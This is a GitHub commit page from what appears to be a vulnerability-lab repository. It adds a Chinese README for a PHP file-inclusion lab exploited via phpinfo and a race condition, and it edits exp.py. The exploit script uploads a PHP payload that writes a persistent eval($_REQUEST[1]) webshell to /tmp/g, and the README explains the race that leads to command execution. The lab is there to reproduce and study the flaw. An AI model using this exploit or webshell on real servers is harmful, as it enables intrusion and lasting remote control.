Skip to content

Commit

Permalink
add handbook
Browse files Browse the repository at this point in the history
  • Loading branch information
phith0n committed Apr 26, 2018
1 parent 1388461 commit e863eb1
Show file tree
Hide file tree
Showing 5 changed files with 54 additions and 3 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ nginx/CVE-2013-4547/www/uploadfiles/*
__pycache__

.env
.python-version

electron/CVE-2018-1000006/build/*
!electron/CVE-2018-1000006/build/index.html
Binary file added php/inclusion/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added php/inclusion/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
50 changes: 50 additions & 0 deletions php/inclusion/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
# PHP文件包含漏洞(利用phpinfo)

PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

参考链接:

- https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf

## 漏洞环境

执行如下命令启动环境:

```
docker-compose up -d
```

目标环境是官方最新版PHP7.2,说明该漏洞与PHP版本无关。

环境启动后,访问`http://your-ip:8080/phpinfo.php`即可看到一个PHPINFO页面,访问`http://your-ip:8080/lfi.php?file=/etc/passwd`,可见的确存在文件包含漏洞。

## 利用方法简述

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是`/tmp/php[6个随机字符]`),文件名可以在`$_FILES`变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到`$_FILES`变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
2. 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

## 漏洞复现

利用脚本[exp.py](exp.py)实现了上述过程,成功包含临时文件后,会执行`<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>`,写入一个新的文件`/tmp/g`,这个文件就会永久留在目标机器上。

用python2执行:`python exp.py your-ip 8080 100`

![](1.png)

可见,执行到第289个数据包的时候就写入成功。然后,利用lfi.php,即可执行任意命令:

![](2.png)
6 changes: 3 additions & 3 deletions php/inclusion/exp.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -6,15 +6,15 @@
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/success', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /1.php?a="""+padding+""" HTTP/1.1\r
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
Expand All @@ -26,7 +26,7 @@ def setup(host, port):
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /2.php?file=%s HTTP/1.1\r
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
Expand Down

0 comments on commit e863eb1

Please sign in to comment.